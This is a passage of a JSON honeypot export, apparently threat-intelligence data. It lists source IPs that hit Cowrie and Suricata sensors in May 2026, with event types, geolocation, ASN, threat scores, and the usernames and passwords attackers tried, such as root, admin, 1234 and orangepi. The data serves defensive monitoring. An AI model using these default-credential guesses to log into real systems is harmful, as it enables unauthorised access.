      "first_seen": "2026-05-05T01:58:30.333Z",
      "last_seen": "2026-05-29T06:37:42.130Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 50.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.0,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:58:30.333000+00:00",
        "last_seen_30d": "2026-05-29T06:38:46.791000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 54
      }
    },
    "85.101.93.225": {
      "attack_count": 96,
      "first_seen": "2026-05-02T01:57:19.100Z",
      "last_seen": "2026-05-02T03:08:14.086Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Bolu",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T01:57:19.100000+00:00",
        "last_seen_30d": "2026-05-02T03:09:22.240000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 96,
        "Suricata": 51
      }
    },
    "211.22.222.224": {
      "attack_count": 92,
      "first_seen": "2026-05-18T22:55:24.374Z",
      "last_seen": "2026-05-19T06:17:21.231Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Kaohsiung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:55:24.374000+00:00",
        "last_seen_30d": "2026-05-19T06:18:28.322000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 46
      }
    },
    "216.252.238.153": {
      "attack_count": 72,
      "first_seen": "2026-05-05T00:05:42.043Z",
      "last_seen": "2026-05-20T07:53:24.476Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.2,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:05:42.043000+00:00",
        "last_seen_30d": "2026-05-20T07:54:27.399000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 36
      }
    },
    "116.110.151.7": {
      "attack_count": 52,
      "first_seen": "2026-05-21T07:28:05.437Z",
      "last_seen": "2026-05-21T07:31:44.311Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "config",
        "ftp",
        "installer",
        "operator",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "1234",
        "admin",
        "config",
        "default",
        "ftp",
        "installer",
        "operator",
        "root",
        "root123",
        "test"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:28:05.437000+00:00",
        "last_seen_30d": "2026-05-21T07:32:51.351000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 21
      }
    },
    "110.36.70.112": {
      "attack_count": 50,
      "first_seen": "2026-05-24T17:16:57.184Z",
      "last_seen": "2026-05-24T17:22:24.630Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Hafizabad",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T17:16:57.184000+00:00",
        "last_seen_30d": "2026-05-24T17:23:25.272000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "183.66.149.42": {
      "attack_count": 35,
      "first_seen": "2026-05-05T01:08:40.639Z",
      "last_seen": "2026-05-05T01:34:08.266Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "git1"
      ],
      "passwords_attempted": [
        "123456",
        "@123",
        "Yc@123456",
        "caonima123."
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:08:40.639000+00:00",
        "last_seen_30d": "2026-05-05T01:44:16.672000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 27
      }
    },
    "3.130.168.2": {
      "attack_count": 33,
      "first_seen": "2026-05-02T10:57:47.622Z",
      "last_seen": "2026-05-23T12:51:28.012Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 6425,
        "days_active_30d": 23,
        "ports_targeted_30d": 171,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-05-02T02:31:18+00:00",
        "last_seen_30d": "2026-05-24T11:30:53.441000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4060,
        "Honeytrap": 1988,
        "Dionaea": 115,
        "Redishoneypot": 72,
        "Mailoney": 65,
        "ConPot": 60,
        "Cowrie": 33,
        "ElasticPot": 8,
        "CitrixHoneypot": 6,
        "Tanner": 6,
        "Ipphoney": 5,
        "Honeyaml": 4,
        "Ciscoasa": 2,
        "H0neytr4p": 1
      }
    },
    "152.32.174.171": {
      "attack_count": 30,
      "first_seen": "2026-05-24T00:11:23.181Z",
      "last_seen": "2026-05-27T08:16:39.495Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "P",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 28.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.1,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T00:01:00.908000+00:00",
        "last_seen_30d": "2026-05-27T08:17:46.708000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 21
      }
    },
    "185.134.49.60": {
      "attack_count": 24,
      "first_seen": "2026-05-10T21:21:00.981Z",
      "last_seen": "2026-05-30T22:53:19.219Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 203443,
      "as_org": "Indert Connection Lp",
      "threat_score": 42.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T21:21:00.981000+00:00",
        "last_seen_30d": "2026-05-30T22:54:24.219000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "185.220.101.107": {
      "attack_count": 13,
      "first_seen": "2026-05-02T19:39:16.395Z",
      "last_seen": "2026-05-18T05:18:50.272Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "centos"
      ],
      "passwords_attempted": [
        "ZabTharwat@2016"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 14.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 17,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T19:39:16.395000+00:00",
        "last_seen_30d": "2026-05-18T05:19:56.792000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 6
      }
    },
    "38.12.31.247": {
      "attack_count": 11,
      "first_seen": "2026-05-16T14:05:39.962Z",
      "last_seen": "2026-05-18T14:18:11.246Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 402169,
      "as_org": "USCLOUD INC - Uscloud Inc",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 2.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 3,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-16T14:05:39.962000+00:00",
        "last_seen_30d": "2026-05-18T14:19:19.709000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 11,
        "Honeytrap": 1
      }
    },
    "177.94.206.38": {
      "attack_count": 10,
      "first_seen": "2026-05-06T02:29:44.442Z",
      "last_seen": "2026-05-06T02:41:51.140Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "monitor",
        "root"
      ],
      "passwords_attempted": [
        "observer",
        "test"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campinas",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T02:29:44.442000+00:00",
        "last_seen_30d": "2026-05-06T02:42:54.274000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "192.227.176.16": {
      "attack_count": 10,
      "first_seen": "2026-05-18T10:37:20.265Z",
      "last_seen": "2026-05-18T10:37:20.911Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "Accept-Charset: utf-8",
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 75.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 29,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T09:05:41+00:00",
        "last_seen_30d": "2026-05-30T20:49:13.708000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Honeytrap": 26,
        "Cowrie": 10
      }
    },
    "34.77.221.38": {
      "attack_count": 10,
      "first_seen": "2026-05-30T02:47:53.136Z",
      "last_seen": "2026-05-30T02:48:00.826Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T02:47:53.136000+00:00",
        "last_seen_30d": "2026-05-30T02:49:01.534000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "66.132.195.65": {
      "attack_count": 10,
      "first_seen": "2026-05-20T01:30:57.695Z",
      "last_seen": "2026-05-20T01:31:46.557Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 163,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T09:36:12+00:00",
        "last_seen_30d": "2026-05-31T12:07:30.866000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 83,
        "Honeytrap": 61,
        "Cowrie": 10,
        "Redishoneypot": 6,
        "ConPot": 2,
        "Dionaea": 1
      }
    },
    "8.216.7.175": {
      "attack_count": 10,
      "first_seen": "2026-05-05T09:32:23.631Z",
      "last_seen": "2026-05-05T09:33:03.586Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: curl/7.64.1"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 48.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.2,
        "persistence": 17.5,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 21,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-05T09:32:23.631000+00:00",
        "last_seen_30d": "2026-05-25T17:22:35.791000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Miniprint": 20,
        "Suricata": 20,
        "Cowrie": 10,
        "Honeytrap": 3
      }
    },
    "34.62.184.76": {
      "attack_count": 9,
      "first_seen": "2026-05-04T04:11:11.898Z",
      "last_seen": "2026-05-04T04:11:17.226Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T04:11:11.898000+00:00",
        "last_seen_30d": "2026-05-04T04:12:21.954000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 5
      }
    },
    "102.102.205.252": {
      "attack_count": 8,
      "first_seen": "2026-05-26T14:25:06.140Z",
      "last_seen": "2026-05-26T14:29:23.185Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 36925,
      "as_org": "ASMedi",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T14:25:06.140000+00:00",
        "last_seen_30d": "2026-05-26T14:40:02.857000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "45.70.28.86": {
      "attack_count": 8,
      "first_seen": "2026-05-23T23:18:49.607Z",
      "last_seen": "2026-05-23T23:24:53.183Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Palestina",
      "asn": 267574,
      "as_org": "ELTECWEB PROVEDOR DE INTERNET LTDA",
      "threat_score": 18.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T23:18:49.607000+00:00",
        "last_seen_30d": "2026-05-23T23:26:01.779000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "47.242.111.161": {
      "attack_count": 8,
      "first_seen": "2026-05-13T11:36:35.990Z",
      "last_seen": "2026-05-31T01:54:41.885Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 39.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T11:36:35.990000+00:00",
        "last_seen_30d": "2026-05-31T01:55:43.831000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "20.64.105.245": {
      "attack_count": 7,
      "first_seen": "2026-05-30T08:20:11.643Z",
      "last_seen": "2026-05-30T08:20:21.643Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 37.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.3,
        "persistence": 2.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 3,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-29T08:27:00.300000+00:00",
        "last_seen_30d": "2026-05-31T02:22:40.242000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 7,
        "Honeytrap": 3
      }
    },
    "130.255.191.37": {
      "attack_count": 6,
      "first_seen": "2026-05-05T00:35:42.428Z",
      "last_seen": "2026-05-05T00:35:49.656Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 29141,
      "as_org": "Bradler & Krantz GmbH & Co. KG",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:35:42.428000+00:00",
        "last_seen_30d": "2026-05-05T00:36:59.025000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "177.86.55.131": {
      "attack_count": 6,
      "first_seen": "2026-05-19T06:25:25.017Z",
      "last_seen": "2026-05-19T06:30:50.158Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cachoeirinha",
      "asn": 264216,
      "as_org": "Fenix Wireless Internet Ltda",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:25:25.017000+00:00",
        "last_seen_30d": "2026-05-19T06:31:55.443000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "185.255.120.41": {
      "attack_count": 6,
      "first_seen": "2026-05-10T09:37:28.721Z",
      "last_seen": "2026-05-10T09:37:35.833Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 30860,
      "as_org": "Virtual Systems LLC",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T09:37:28.721000+00:00",
        "last_seen_30d": "2026-05-10T09:38:38.116000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "201.238.2.0": {
      "attack_count": 6,
      "first_seen": "2026-05-23T01:39:39.175Z",
      "last_seen": "2026-05-23T02:36:40.531Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 16.4,
      "threat_level": "minimal",
